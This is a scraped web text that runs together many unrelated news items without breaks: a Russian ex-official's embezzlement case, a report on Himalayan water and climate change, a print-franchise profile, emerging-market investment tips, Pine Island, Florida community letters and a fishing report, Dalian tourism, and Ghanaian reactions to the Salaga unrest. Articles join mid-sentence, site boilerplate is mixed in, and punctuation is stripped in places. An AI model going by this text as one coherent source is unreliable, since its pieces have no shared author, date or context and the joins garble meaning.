Ex-official Shestun stands charged with embezzlement, taking bribes and abuse of office. The victim in the case is the Serpukhov District administration.

According to case papers, between 2008 and 2014, the Serpukhov District administration headed by Shestun illegally transferred four land plots in a local village to the company Center. Damage caused by these actions was estimated at 62 million rubles (about $925,000), investigators claim. Shestun was put in detention. He pleads not guilty.

In January, prosecutors filed a lawsuit to forfeit 10-billion-ruble ($150 million) assets owned by Shestun to the state. This property status does not correspond to his income, according to the Prosecutor Generals Office.

The former official is the owner of 676 real estate items in the Moscow Regions Serpukhov district, 2 recreation facilities and 22 cars, prosecutors claim.

Shestun has registered his property in the name of his relatives or trustees to evade declaration and suppression of his actual material position. Some property items have been sold, and the funds received have been converted to his own use or the use of his cronies, according to the prosecution.

On January 18, the Investigative Committee reported that investigators received evidence that Shestun owned land plots worth 2.2 billion rubles ($33 million) aside from other assets found earlier.



If you are not redirected automatically, please follow this linkJoin Us In Celebrating Our 39th Anniversary!

We are celebrating the Queens Gazettes 39th anniversary  but unlike Jack Benny who was eternally 39, we look forward to hitting 40, and many,...

We Are So Excited To Begin Summertime!

We are looking forward to that bohemian, sensual existence, being out in the sunshine, at the parks and beaches, and also dining outside because we...Karnataka HC restrains Ghaziabad police from initiating coercive action against Twitter India''s MD Manish Maheshwari coercive action against Twitter India's MD Manish Maheshwari in probe on assault of elderly Muslim man.Water in the Hindu Kush Himalayan (HKH) region is going through large and dramatic changes, caused by both climate change and human intervention, and the countries around it are unprepared for it. The stark message of the Hindu Kush Himalayan Monitoring and Assessment Programme (HIMAP), the most comprehensive analysis of what is happening in the HKH region, is one that concerns agriculture, hydropower, inland waterways, jobs, urbanisation, and international relations  some of the most sensitive and important issues in the region. These effects are complex, and will impact different regions differently, but some are already visible.Glacier retreat (and some advance) in the face of climate change will make the fragile mountains more prone to natural disasters such as landslides, and will make the impact of other natural disasters, such as earthquakes, far greater. Variations in rainfall will continue to rise, setting in place the possibility of catastrophic flooding, at the same time springs have been reducing their flows in the hills, and this may increase, leading to drought among communities that already have higher-than-national-average rates of poverty.

The HKH region is bounded by eight countries  Afghanistan, Pakistan, India, China, Nepal, Bhutan, Bangladesh and Myanmar. The four transboundary river basins connected to the glaciers there  the Indus, Ganga, Brahmaputra and the Mekong  as well as the Yellow and Yangtze exclusively in China support the well-being of nearly 2 billion people. While only about 240 million of these live in the mountains themselves, and will be the most directly affected, the changes foreseen will affect all these countries massively, especially if mechanisms of transboundary cooperation are not implemented.

Climate change crunch

The key message is that the water flow regime is being impacted by climate change. Temperatures are rising faster in the HKH region than in the rest of the world, and even if the world is able to keep the temperature rise to below 1.5 degrees Celsius, in the HKH region it would translate to at least a rise of 1.8 C, and in some places, above 2.2 C.

The HIMAP report goes some way in specifying how and why. Part of it is due to glacier retreat, although this will have the greatest impact on the Indus, where approximately 80% of the water is contributed by snowmelt and glacier melt. The glaciers in this region are also amongst the ones showing the lowest retreat. But the combination of retreating glaciers and expansion in snow melt, as well as melting permafrost will create a more disturbed system, affecting silt and sediment flow in the region, as well as significantly increasing the chances of Glacial Lake Outburst Floods (GLOFs), and floods.

This will be a critical problem for India and Pakistan, who have both experienced devastating floods in their Himalayan regions, but it will have an immediate impact on Afghanistan, which experienced the worst drought of the century in 2018, primarily due to low snowfall early in the year. With no water-cooperation mechanisms with any country on its borders, Afghanistan will face increasing water uncertainty over the next decades with few tools to address it.

The eastern HKH region will experience the most glacier retreat. These are also the river basins  of the Ganga, Brahmaputra, and Mekong (as well as the Yellow and Yangtze in China)  which are the least reliant on glacier melt and snowmelt on water flow, accounting for less than 10% of the volume of water in the rivers. The hazards will largely be those faced by mountain communities  both of decreasing water during the summer months as well as the potential for landslides, GLOFs, and other related disasters. Given that 240 million people live in the HKH mountain communities, the risk to their lives and livelihoods will increase  both in the western and eastern Himalayas significantly.

Hydropower  a dangerous wager

The instability of the fragile HKH region  one of the youngest mountains in the world  will also pose a significant risk to hydropower projects. But because water flow in the region is unlikely to decline  and may marginally increase  until 2050 the incentive to build more of them is likely to remain. This is especially so since the HIMAP report states that there is a potential for 500 GW of barely tapped hydropower potential in the region, which is also critically energy-poor. There are large hydropower projects currently being planned in the Indus and Brahmaputra, with China playing an important role in both financing and development, particularly in Pakistan.

The unfortunate reality has been that hydropower projects have very rarely benefited mountain communities themselves. Indias state of Jammu & Kashmir is a key example. One of the largest producers of hydropower in the country, its summer capital, Srinagar, struggles for electricity during the long, bitter winters. Further downstream, hydropower dams along the Teesta have found that they are only financially viable if they are run during select evening hours, thus releasing water for only three or four hours a day, playing havoc on the ecosystem as the riverbed stays dry for most of the day, only to be flooded for a few hours.

The mix of extreme rainfall events, glacier retreat, and permafrost melting, will increase the risks of GLOFs and other natural disasters. As the HIMAP report notes, the disasters in the HKH region build on each other. An earthquake will lead to landslides, which, in turn, will dump debris in rivers, leading to flooding. These will all add significant external risks to both existing, and planned, hydropower projects.

While the HIMAP report mentions some good practices emerging in the hydropower sector  from benefit sharing schemes with local communities to a push for more scientific understanding of environmental flows  these are far from established practice.

The other big infrastructural issue that will be impacted will be Indias ambitious Inland River Waterways project. With depots already being built in Nepal, this is a transboundary project that will involve not just the Indian lowlands, but also Nepal and Bangladesh, who will be key partners. With the risk of extreme weather events, combined with glacial retreat, the amount of debris and silt in the Ganga will rise, disrupting the flow of rivers as well as increasing the amount of dredging needed to keep waterways navigable for large freight carrying ships. About one-third of the global sediment deposited to the oceans is estimated to be generated from the Tibetan Plateau and its neighbouring regions, says the HIMAP report. Much of this is due to the fragile nature of the Himalayan range, and the monsoon system. While the former will not change, the number of extreme weather events due to climate change will add to the power of the latter.

In the past  most catastrophically in 2008  rivers flowing through Nepal to India have radically changed their path due to build-up of silt, breaching embankments, leading to floods that have cost the lives and livelihoods in both countries. As the HIMAP report states, transboundary cooperation between India and Nepal has been marred by suspicion and blame-games. The addition of increased silt and debris into the river system is likely to exacerbate such tensions, unless key cooperation mechanisms evolve.

Water dries up for agriculture

The sector that will be impacted the most by variations in water will be agriculture. Of the eight countries in the region, seven use almost 90% of their water for agriculture (China uses 65%). There are four major sources of this water  the river systems, springs, groundwater, and rain. While the river systems are projected to supply the same amount of water up until 2050 (with maybe some increase), their variability of flow is likely to increase. More problematically the springs in much of the mid-HKH region seem to be drying up. The HIMAP report bluntly states, Due to factors related to anthropogenic impacts (such as deforestation, grazing, exploitative land use resulting in soil erosion, etc.) and climate change (e.g., highly variable rainfall), springs fed during the monsoon by groundwater or underground aquifers are reported to be drying up and threatening whole ways of life for local communities in most parts of the midhills of the HKH. The mountain regions already suffer from higher poverty rates than the rest of the countries, especially because infrastructure, and with it, access to services, is more costly to build. This will be added pressure on a region which is already deeply food insecure.

In the case of groundwater, again, rain variability will have an impact on the recharge of aquifers on which groundwater is dependent. The cycle of droughts and floods is projected to increase. Given that 95% of owners of electric pumps in India  the largest user of groundwater in the world  are private citizens, it will be a challenge to create a governance regime to manage these private actors at times of scarcity. Rainfall, as already indicated, will become much more irregular. For a region in which almost half the population (except for China) is dependent on agriculture, or agriculture-related, employment, the future looks far from certain.

Strains on international relations

Lastly the change in water flows, especially lower base flows during the summer months, is likely to strain international relations. The cooperation mechanisms between India and Nepal have not worked well. While the Indus Rivers Treaty between India and Pakistan has stood the test of time, it has become an increasingly testy subject. A repeat of an extreme rainfall event as happened in 2014 in Indias state of Jammu & Kashmir and bordering areas in Pakistans Punjab  which led to hundreds of lives lost in both countries, will only increase tensions unless timely data sharing and policies of disaster cooperation are not put in place. India and Bangladesh signed the Ganga River Treaty in 1996, but it is based on a sharing of water that just may not be available in the dry seasons if water levels decline during that time. Furthermore 90% of Bangladeshs water comes from transboundary rivers. The Ganga River Treaty covers only one  even if it is a major river  and will expire in 2026.

While India and China have no formal cooperation agreements, China does share upstream data on the Brahmaputra with India. The Brahmaputra is unlikely to be impacted by lower water flow from Chinese territory because most of its catchment area lies in India, but it will be subject to destabilisation and floods as glacier retreat, extreme rainfall events, and permafrost melting change impact the region. The two countries will have to develop closer coordination on these issues.

Bhutan and India, which have cooperated closely on Bhutans hydropower sector, will have to proactively work on better local communication. The two Indian states downstream of Bhutan  Assam and West Bengal  have blamed Bhutan for lack of information or coordination for flooding. These problems will only escalate in the future if steps are not taken to deal with them now.

All in all the HIMAP report suggests an increasingly turbulent time, and politics, for the South Asian region. It does offer an opportunity  though  of cooperation. The communities of the HKH region are critically stressed, but their hope lies in each other. None of the changes foreseen are sudden, or without recourse, but it will require working together, with a high degree of foresighted diplomacy, to manage the challenges. The only question is will the countries come together to do so.

Read the full report here.

This article first appeared on the third pole.As any business owner will say the first 12 months are the toughest. With that in mind Gill Kennedy, who bought a Minuteman Press franchise in Queensland last year, is about to celebrate.

Kennedy, a graphic designer by trade with 15 years experience in print under belt, moved to Brisbane from Cardiff with her husband and two children four years ago. When she landed on Australian soil she had a plan to buy her own business before she hit 40 and last March she realised that goal.

Next month her Minuteman Press outlet will have operated in Caboolture, north of Brisbane, for one year and while she says its been tough, she wouldnt trade anything and loves the day to day business of working with her customers to deliver a top quality print product.

Its not an easy thing but we are hitting our stride now, Kennedy says.

I think a lot of people think that if you buy into a franchise its all there on the plate for you. There is a lot of support which is great but you still have to get yourself out there and get yourself established.

We did that and are still doing it and we are growing. It was tough but it was enjoyable, a roller coaster.

Kennedy says buying into the franchise had the advantage of including a package of equipment that allowed her to be up and running. From there she says she could expand her equipment when the time was right.

The start-up kit she received as part of her package was a Konica Minolta AccurioPress C2070 four colour digital press, as well as a folder, binder and guillotine.

Since then she has added an Epson T5200 large format printer to her equipment offering enabling her to produce plans, posters and pull up banners, while larger sized jobs are outsourced.

They set you up with what you need and then you can add to it. So Ive added things like a drill, a large format printer, which Ive done off my own back but Minuteman kind of get you in the door and ready to trade, Kennedy said.

Having never owned a business before, investing in this franchise was clearly a big step for Kennedy but her experience working for another Minuteman Press outlet in Brisbanes Fortitude Valley gave her the courage to take the step.

Since I previously worked with Minuteman Press, I was given a raw insight into how things worked and how well you were supported as an owner. The onsite support and the training in New York give you a great foundation to build on an already reputable brand and add to it with your own finesse, she said.

She had a stronger reason to push through any remaining fears, continuing, I wanted to be a good role model for my daughters and show them that with hard work and dedication you can succeed at anything you put your mind to  something in which I am still a strong believer. And so, my life as a business owner began.

Minuteman Press International regional vice president Jeff Lewis supports franchisees in Queensland and NSW.

Gill has done a fantastic job in her first year building her business the right way. She follows the Minuteman Press system closely and goes above and beyond for her clients, Lewis said.

An internet inquiry and a mutual love for animals also led to Kennedy securing family-owned business Prestige Pet Products as a client.

I was lucky enough to have an internet enquiry from Becki Mulcair, their Marketing Coordinator. She was looking for a new printer to facilitate her with a number of needs. I responded to her as I would with any internet lead  promptly, and with a desire to help her, Kennedy said.

We instantly had a connection with our love of animals and as Becki needed to have newsletters printed monthly, sometimes to a tight deadline, I was happy to help. They were an unusual project as they need to be drilled for her retail customers for storage in folders, but I was happy to help.

Comment below to have your say on this story.

If you have a news story or tip-off, get in touch at [email protected]

Sign up to the Sprinter newsletterCertainly, one race or sex is not superior to another. To ignore systemic oppression and its impact on the past and present policies, however, is to put ones head into the sand. I was struck by the fact that even recently, most white Americans were unaware of the Tulsa Race Massacre of June 1, 1921 when mobs of white residents attacked black residents and destroyed homes and businesses in the Greenwood district in Tulsa. Thirty-five plus square blocks of the neighborhood  at the time the wealthiest black community in the United States, known as Black Wall Street  was decimated, with up to 300 people dead. Ten thousand black people were left homeless and property damage of black businesses and homes was an estimated at $1.5 million in 1921 dollars. It is precisely the omission of this kind of event in local, state, and national histories that establishes the need to examine systemic problems.

Arlene Violet on critical race theory. She is a Republican who served as RI Attorney GeneralHungary's OTP among UBS top picks

Investors thinking about betting in emerging markets should look at Brazilian stocks, Mexican bonds and banks in the space, strategists and analysts told CNBC.

stocks are off to a high-flying start this year as investors bet newly minted President Jair Bolsonaro will push through key reforms. In, relatively high yields make their bonds attractive. Strategists are also betting that a dovish U.S. Federal Reserve, constructive outlooks for 2019 and a possible resolution to thetrade war can bolster emerging-market banks, reported CNBC Emerging markets have been one of the hottest trades of the year. The iShares MSCI Emerging Markets exchange-traded fund (EEM)is up 7.6%. EEM fell 17.1% last year and was in bear-market territory, trading 20% from its 52-week high.

This is one of the best times to diversify into emerging markets Luca Paolini, chief strategist at Pictet Asset Management, told CNBC. "Everything is pointing to outperformance in emerging markets

Brazilian stocks

Mexican bonds

, he added.Brazilian stocks are up sharply this year. The Bovespa index, Brazil's benchmark index, hit an all-time high recently and the iShares MSCI Brazil ETF (EWZ) is up more than 10% in 2019. Brazilian stocks are also outperforming the broader EEM fund this year.Investors around the world have been cheering Brazilian stocks on hopes the new presidential administration can pass push through major changes to the country's pension system this year, said CNBC. Whereas Brazil's generous pension system enables most working citizens to retire in their 50s, this led to massive debt levels and contributed to recent economic troubles in the country. Bolsonaro signaled last month the minimum retirement age for men and women could be raised to 62 and 57, respectively. The average retirement age in Brazil is around 55."Confidence levels have increased steadily since October, backed by the government's liberal agenda," Larry Brainard, chief economist for the EM team at TS Lombard, wrote in a note."The confidence boost is crucial to sustain the rebound but it must be followed by concrete progress on reforms. Longer-term, sustainable growth is possible only if structural reforms are made."Mexican bonds are another investment strategists like. They are trading around their lowest levels in nearly decade. The 10-year Mexican yield broke above 9% for the first time since the financial crisis in late November. On Tuesday, the benchmark yield traded around 8.5%

Mexican bonds are under-loved and pricing in the worst-case scenario

EM banks

, CNBC cited Amr Abdel Khalek, emerging markets strategist at MRB Partners. We don't see peso bonds as the strongest outperformer in a universe of EM local-currency denominated bonds, but the combination of peso undervaluation and the relatively rich yields mean that they can outperform the benchmark on a 6-12 month basis."One of the most attractive sectors within emerging markets is banks, according to UBS which reiterated its overweight rating on emerging-market banks last month, noting external risks like the U.S.-China trade war and tighter monetary policy from the Fed are "beginning to recede."UBS currently forecasts loan growth at 10.5% in 2019, up marginally from 10.2% in 2018 with [net-interest margin] expanding slightly to 3.06% from 3.03%," Philip Finch, global banks strategist at the bank wrote in a 18 Januarz note. He added that he expected EM bank earnings to grow by 13.7% this year and loan growth to reach double digits.UBS also seven banks in its Top 40 EM stocks list, including Banco do Brasil,, Peru's Creditcorp and Hong Kong's China Construction Bank.To the editor:

October 21, 2018, was an amazing day for the Beacon of HOPE and the Pine Island community.

So why mention this in February 2019? Because a proper Thank You and acknowledgement was never given to the people that made this event happen. The event was too important, the day was too joyful, and the results were so amazing that my lack of manners can no longer stand in the way of a proper thank you.

On this Sunday, the Island Grill was transformed into the most delicious fundraiser to help our neighbors receiving Beacon Bites. Joey and Brittney opened not only their place of business, but their hearts and their wallets. They know the true meaning of giving Time, Talent and Treasure.

Starting at 7 a.m. and running till 2 p.m., guests were treated to a fantastic breakfast in an environment that makes you feel at home the minute you walk in the door. This was all in support of the Beacons program which delivers a delicious meal every day by a caring volunteer.

Liz Martin of Modern Woodsman, our co-sponsor, donated $2,000 in matching funds, had wonderful door prizes and, with a team from the Beacon, played host to everyone coming to the Grill that day. This one event was able to raise over $4,000 to help residents on Pine Island. Once again, together, our businesses, our charities and our neighbors came together to truly give HOPE.

The Beacon Bites program has become one of the most successful programs at the Beacon. The Island Grill was eager to prepare meals 5 days a week when Robin at Little Lilys was unable to continue. Brittney and Joey had just discussed how to be more involved in helping to support the island. The timing was perfect, after a brief conversation, the Island Grill was preparing meals Tuesday through Sunday.

During the event, Frank Virts, Julia and Nick from the Island Grill, and the board and staff at the Beacon worked to make sure everyone was happy and well fed. My favorite comment of the day was from a woman who, after I thanked her for attending the event, said What event? I am here for the food, and best breakfast around.

A thank you should be prompt, sincere and heart felt. This thank you to the Island Grill and Modern Woodsman may be very late in coming, but I am grateful for the compassion and dedication these amazing folks gave that day and continue every day. Pine Island, the Beacon and my life are enriched by their actions.

Thank you

Betsy Haesemeyer,

executive director, Beacon of HOPEKathmandu, February 13

Former Prime Minister and NCP leader Jhalanath Khanal has reiterated Nepals commitment towards One China policy.

Khanal, who met Chinese ambassador Hou Yanqui at his residence in Dallu, said that Nepal has entered into a new era of economic development and social transformation. He said he was hopeful that Nepal would get assistance at a wider scale from China to help Nepal attain development and prosperity.

Nepal is committed to One China policy, the leader said, pledging that any activity threatening this principle would not be allowed on Nepali territory, according to Khanals private secretary Krishna Bhattarai.Your loved one has received terrible news from their doctor that they only have about 3 months to live. They are in pain. They are overwhelmed. They may be feeling helpless and hopeless. In general, they may be in a state of shock and completely dazed by the situation. What are some things you can do to help?

In an article that appeared in the New York Times on Oct. 5, 2014, Atul Gawande suggests you consider four questions: (1) What is their understanding of their health and condition? (2) What are their goals if their health worsens? (3) What are their fears? And, (4) What are the trade-offs they are willing to make and not willing to make? These are hard questions to ask and hard questions to answer and the author points out that not everyone will be ready to discuss these subjects and these discussions must be repeated over time because peoples answers change. But they can provide a starting point for planning what the Times called The Best Possible Day or creating the best possible life during the time that is remaining.

You have to ask people what are their needs and goals in order to help them accomplish what they desire. This contributes to their emotional well being which is just as necessary as caring for their physical/medical needs.

In summary, you must find out what people facing the end of life care most about in their life. How would they define the best possible day given their particular circumstances. Next, help them to achieve that day.

The Beacon will be presenting two seminars on End of Life Issues. The first will be on Friday, Feb. 15, at 10 a.m. This will cover what is happening to the body during the process of actively dying. Also, a tool called the Five Wishes will be presented which helps families eliminate many of the arguments which can take place within the family when a loved one is dying. The second seminar will be one week later on Feb. 22 also at 10 a.m. It will cover the legal aspects occurring with end of life issues.

Both seminars be held at the Beacon of HOPE, 5090 Doug Taylor Circle, St .James City. Any questions? Call the Beacon of HOPE at 239-283-5123.Other than a couple foggy mornings and afternoons, the weather was decent all week. Up to the weekend light winds allowed boats big and small to venture offshore into Gulf waters. As far as fishing, the bite was up and down, and changed from day to day.

The sea trout bite wasnt great, in fact many anglers targeting trout were skunked while fishing areas around Pine Island that have produced well in the past. Yet, others report catching or spotting more fish each day. The time we spent targeting trout early in the week, the bite wasnt great, however we sighted good numbers of fish large and small. Best baits for trout were live shrimp or Gulp shrimp under a popping cork and a variety of soft plastic lures. Several anglers ran across aggressive bonnethead sharks while targeting trout on the grass flats. I expect the trout numbers to continue to improve as the water warms and bait fish move in.

With water climbing above 70 degrees, snook are slowly becoming more aggressive, especially the smaller ones. Fish were caught and released a-round canal mouths in Matlacha and Bokeelia, along shorelines on the east side of Cayo Costa and Captiva Islands, and at night from the Matlacha Drawbridge. Jack crevalle were also caught from these areas. Snook werent reported in great numbers, but like trout, the bite will improve as the water continues to warm.

A few redfish from 22 to 26 inches were caught and released in Pine Island Sound north of Demere Key and around Patricio Island. Smaller redfish ranging in size from 12 to 20 inches were caught in creeks, along shorelines,and under docks in south Matlacha Pass, Bokeelia, and the barrier islands. Reds were caught on cut mullet and ladyfish, shrimp rigged various ways and weedless gold spoons. All redfish and snook are out of season and must be released safely to fight another day.

The sheepshead bite was up and down all week. When the bite was good, it was really good, with plenty of larger fish caught. All the Gulf passes, including Blind, Redfish, Captiva and Boca Grande, were targeted areas as well as docks, piers and shorelines around the islands. Sheepshead were also caught around oyster bars and creeks in south Matlacha Pass. The best bite came with moving water on small or cut shrimp fished on a light jig head, knocker rig or split-shot. A few black drum, redfish and mangrove snapper were also caught.

Sheepshead were also found offshore with the better bite north of Blind Pass. Fish to 6 pounds were caught over artificial reefs, hard bottom and ledges in depths from 25 to 40 feet.

Speaking of offshore, targeting depths from 90 to 130 feet resulted in limits of red grouper up to 11 pounds. Mangrove, yellowtail, lane and vermilion snapper, plus a few porgies and big grunts, were also caught from these depths. Rod-bending big boys, including goliath grouper, sharks and amberjack, were boated and released from wrecks beginning around 8 feet. One tiger shark around 7 feet was also sighted cruising under the surface.

The water temperature is slowly climbing  inshore quicker than offshore. If this continues it will not be long before bait schools arrive, migratory game fish begin moving up our coast, and fishing is more consistent. The sooner the better!

If you have a fishing report or for charter information, please contact us Gulf Coast Guide Service at 239-283-7960, via the Website www.fishpineisland.com or email gcl2fish@live.com.

Have a safe week and good fishin.

As a native of Pine Island, Capt. Bill Russell has spent his entire life fishing and learning the waters surrounding Pine Island and as a professional fishing guide for the past 18 years.The Greater Pine Island Civic Association held its monthly meeting last Tuesday to elect five new members to its board of directors. About 50 members attended the meeting.

Four board members were re-elected: Tim Heitz, Anna Stober, Scott Wilkinson and Giancarlo Saccucci. Debbie Memoli was elected to the board for the first time. There were no nominations from the floor.

Casey Streeter, co-owner of Island Seafood Market in Matlacha and founder of the Florida Commercial Watermens Conservation, who spoke at last months meeting, repeated his message about off-shore water profiling.

What NOAA found in our water was severe stratification where the lower level has a high salinity and cold water and the two top levels are low salinity with warm water, Streeter said. These conditions create a situation where the waters have an unlimited ability to create red tide and at the same time prevents surface mixing which creates a dead zone in our case 250 square miles of dead zone with very low oxygen levels extending from Sarasota to Marco Island.

According to NOAA, Dead zones are hypoxic (low-oxygen) areas in the worlds oceans and large lakes, caused by excessive nutrient pollution from human activities coupled with other factors that deplete the oxygen required to support most marine life in bottom and near-bottom water.

The goal of FCWC is to gain a better understanding of whats going on in off-shore waters and offer scientists the data they need to break that cycle, Streeter said. Our commercial fishermen are on the water every day and we need funding to equip our in-shore and off-shore guys with water sampling kits.

In order to perform these tests, FCWC needs testing equipment. The group is working towards purchasing their first digital sampling system at a cost of $7,800 each.

We are real close to purchasing our first device which we can pass from boat to boat, Streeter said. We need to understand our red tide events and this is a good time to measure our influencers and see whats happening. By testing the waters before the next event FCWC can provide a key element and the missing piece of the puzzle to our scientists.

The GPICA board offered a challenge to the membership. For every dollar raised, the GPICA will match it up to $1,000. Donations can be made to FCWC at its website www.FloridaWatermen.org (be sure to identify the donation as GPICA). You can also drop off a check at Island Seafood in Matlacha or email Casey at casey@floridawatermen.org

In other business, the GPICA reviewed the status of the 7-Eleven gas station and convenience store on Pine Island Road. It appears the developer purchased three additional parcels after its initial proposal to GPICA with plans to build an office building. GPICA plans to write a letter to the county requesting that all expired development rights be abolished.Beacon of HOPEs executive director Betsy Haesemeyer tendered her resignation to the Board of Directors on Nov. 12, 2018. Haesemeyers last day is Feb. 28.

After 14 years, I think its just time, Haesemeyer said. These 14 years at the Beacon have been a time of great excitement, growth and satisfaction. I will always treasure this time. Today though, I believe that the next 14 years will best be served by a new executive director.

Haesemeyer was born an Army brat in Fort Monmouth, New Jersey. The youngest of four children, by the time Haesemeyer graduated high school, she had attended 18 different schools.

I was born at the end of the Baby Boomer period and became a hippy for a period and hitchhiked around the country, Haesemeyer said. I would find jobs tending bar or waitressing and earn just enough money to pay for a room and then move on.

I wasnt interested in college at the time but I had an amazing civics instructor in high school, Haesemeyer said. He thought I should continue my education and challenged me by offering $50 for application fees to go to school. It took a awhile but eventually I took him up on his offer and went into nursing school to become a nurse in my late 20s.

Haesemeyer worked at a wide range of nursing facilities performing a wide range of duties. She worked in behavior health, long-term care and in pediatric outpatient before meeting her husband, Rad Hazen.

When I met Rad, we had always talked about getting on a sailboat and sailing away, Haesemeyer said. Our son Jeffrey was all for it so we purchased a sailboat and sailed from north Florida to Flamingo and back along the way we anchored several times by Capn Cons and fell in love with Pine Island.

Haesemeyer had taken a leave of absence from her job as clinic supervisor for the outpatient clinic for the University of Florida Shands in Gainesville. Once she decided to stay on Pine Island, she tendered her resignation in Gainesville.

I got lucky and did find a job as supervisor for home health pediatrics division here in Southwest Florida, Haesemeyer said. My husband Rad was working at Soaring Eagle Nursery in Bokeelia and decided to set up his own business as Pine Island Growers.

Unfortunately Hurricane Charley came through Pine Island and devastated the business. In addition to the storm destroying 200 acres of their property, Haesemeyer became part of the island-wide recovery effort.

The four pastors, one from each church, put together what was called then the Pine Island Long Term Recovery Organization, Haesemeyer said. We all met at the Methodist Church to coordinate fulfilling the needs of the people of Pine Island whatever they were. I remember the Church World Service was there and he had a book Recovery for Dummies and I was hooked.

Elsie Stearns was board chairman of the fire commission when Charley came through in 2004 and soon became a member of the Beacon board and board president.

I had a lot on my plate but was well aware of what the Beacon and Betsy was doing, Stearns said. The four churches started the relief effort here and Betsys background as a nurse was a perfect fit for what was needed in the aftermath of Charley. She just handled everything very, very well.

The group spent the next three years getting the island completely back and the Pine Island Long Term Recovery Organization became known as the Beacon of HOPE. Haesemeyer started as a volunteer, then became a board member and then board president and executive director.

We started with the storm and we learned how to work together, Haesemeyer said. Along the way we brought in United Way in 2009 and that turned out to be a huge blessing. United Way gives us access to more than 90 additional programs.

There are far too many successes to mention but most recently Haesemeyer has been instrumental in the GED program, English as a second language, AARP  free tax returns, veterans services, Feed America Food Bank and quit smoking classes.

Ever since Charley in 2004, Betsy has done so much for the island and the Beacon of HOPE, Stearns said. She has put her whole heart and soul into making the Beacon what it is today. If you come to Betsy with an idea, you can see shes already thinking of who to contact and what to do to get it done.

The Beacon will miss her spirit more than anything else, Stearns said. Her willingness to take on whatever challenges come up, her dedication, commitment and passion has filled a lot of people souls, hearts and bellies. Wherever life takes her theyll be blessed to have her

This is a bitter-sweet time for me, Haesemeyer said. As I wrote in my resignation letter, the last 14 years at the Beacon have been a time of great excitement, growth and satisfaction  The board is strong, the staff and volunteers are outstanding and together they are a team committed and dedicated to our mission. I believe that the Beacons future will have an even greater impact on those we serve.

Once the Beacon board learned of Haesemeyers resignation, they issued the following statement:

The Beacon of Hope Board of Directors would like to announce that Betsy Haesemeyer has tendered her resignation after 14 years with the Beacon of Hope. As Executive Director, Betsy will be leaving at the end of February.

Jane Bennington, president of the Beacon of HOPE, said, Betsy has touched the lives of many people on Pine Island and through her leadership the Beacon has grown to become the organization it is today. Besides the Client Service Center, Betsy has initiated and implemented many programs that have benefited Pine Island in as multitude of ways. To name just a few, our very successful GED program, Wellness Committee, Veteran services, and the Beacons newest program, still in the planning stages, transportation availability for Pine Islanders. Betsy was instrumental in organizing and facilitating the Pine Island Cares committee, a group composed of other island organizations such as F.I.S.H., the Matlacha Hookers, the Pine Island Food Pantry, C.L.A.M. the Pine Island Community church, Bobby Holloway and other groups on Pine Island to assess island needs and work together in achieving goals for the betterment of the community. This has been very successful, thanks to Betsy. She will be missed. We wish Betsy all the luck in the world in her new endeavors. She is a person who truly makes a difference.

The Beacon is looking for someone special to become the new programs director. Good organizational skills and experience in social services and not-for-profits is a plus. If you are interested, please drop off your resume at the Beacon of HOPE.

The Beacon of HOPE is located at 5090 Doug Taylor Circle, St James City, FL 33956. For more information about the organization or its programs, please call 239-283-5123.Roth ready to take charge of Perryville football The excitement for Brent Roth is off the charts as he acclimates himself to his new position. Roth will enter into his dream job next fall when he takes over as the new head coach of 

Indians basketball continues improvement If a person were to ask St. Vincent boys basketball coach Bruce Valleroy how exactly his teams summer has been going, he couldnt have asked for a better start. St. Vincent participated Dalian opens door to international guests

From:ChinaDaily | 2019-02-13 07:16

Dalian is opening its door to welcome international guests from all over the world, as the city in Northeast China's Liaoning province has developed tremendously since the founding of the People's Republic of China.

Transforming from a fishing village to an international tourism city, Dalian, dubbed the "Pearl of the North", has witnessed great changes in the tourism industry during past decades, especially since reform and opening-up, a tourism expert in Dalian said.

Peter Row, a Canadian who came to Dalian six years ago, extended congratulations on China's 70-year anniversary. He added that thanks to reform and opening-up, international friends can meet Chinese people, understand the culture, exchange ideas and benefit from one another.The concept of a national park for the South Okanagan-Similkameen has divided the community. Many believe a referendum is the way to go, but not Oliver council.Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.Former Central Regional Chairman of the National Democratic Congress, Allotey Jacobs has called on State security institutions in the country to wake up.



Speaking on Peace FM's Kokrokoo, Allotey Jacobs bemoaned the actions by some youth at Salaga in the Northern Region who set the New Patriotic Party (NPP) office ablaze and destroyed other properties after President Akufo-Addo named Damongo as their capital city.



The hotheaded youth brought the party offices down in flames and angrily pulled down billboards with images of the President in protest against their preferred town not been named as regional capital.



According to the Northern Regional Police Public Relations Officer, DSP Yussif Tanko, the youth also threatened to set fire to the residence of the East Gonja District Chief Executive and the District Assembly Office.



Damongo is a town and the capital of West Gonja district, a district in the Savannah Region of northern Ghana.



Allotey Jacobs lambasted the security agencies for not being proactive by picking intelligence on the incident and averting the ill intent of the youth.



He asked the security agencies to recruit more experienced people if they are in short of numbers to help swoop down on these aggressive people.



Govt should have anticipated this for a long time that no matter what people will never be satisfied. Theres nothing that will appeal to everybody. As the thing becomes successful, somebody is unhappy. Somebody would like to have it but since he/she cant get it, the person will have to humiliate you. I mean its human naturebutour security should wake up. There is the need to recruit more people, more experienced people into the Service, he said.





Source: Ameyaw Adu Gyamfi/Peacefmonline.com/Ghana









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Featured VideoAshanti Regional Secretary of the ruling New Patriotic Party (NPP), Sam Pyne, has excoriated the behaviour of some angry youth at Salaga in the Northern Region.



The youth at Salaga in the newly created Savannah Region of Northern Ghana, went on rampage on Tuesday, February 13, 2019, burning down into rubble the offices of the New Patriotic Party (NPP) and pulling down billboards with pictures of President Akufo-Addo.



The irate youth took such violent action in protest against the announcement of Damongo as the Regional capital.



Addressing the issue on Peace FM's Kokrokoo, Sam Pyne told host Kwami Sefa Kayi that the perpetrators should be exposed and made to face the full rigors of the law.



He cautioned his fellow politicians not to interfere with the arrest of the hostile youth, but to allow the security agencies get to the bottom of the issue.



He wondered if by their action - setting properties ablaze - their problems have been solved or the President has changed the decision.



"....the youth should learn to put up a good behaviour because destroying properties will only cost the nation. The monies that the government would use to develop the Region will have to be channeled to renovate the dilapidated offices and other properties...."



"...guns, knives, fire and fight cant solve issues, he advised the youth.

Source: Ameyaw Adu Gyamfi/Peacefmonline.com/Ghana









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Featured VideoSocial Commentator and one-time Central Regional Chairman of the National Democratic Congress (NDC), Bernard Allotey Jacobs, has advised the nation's leaders and the entire Ghanaian populace to stop glorifying violence in the country.



According to him, inciting people against others is not the right way to go in developing the country.



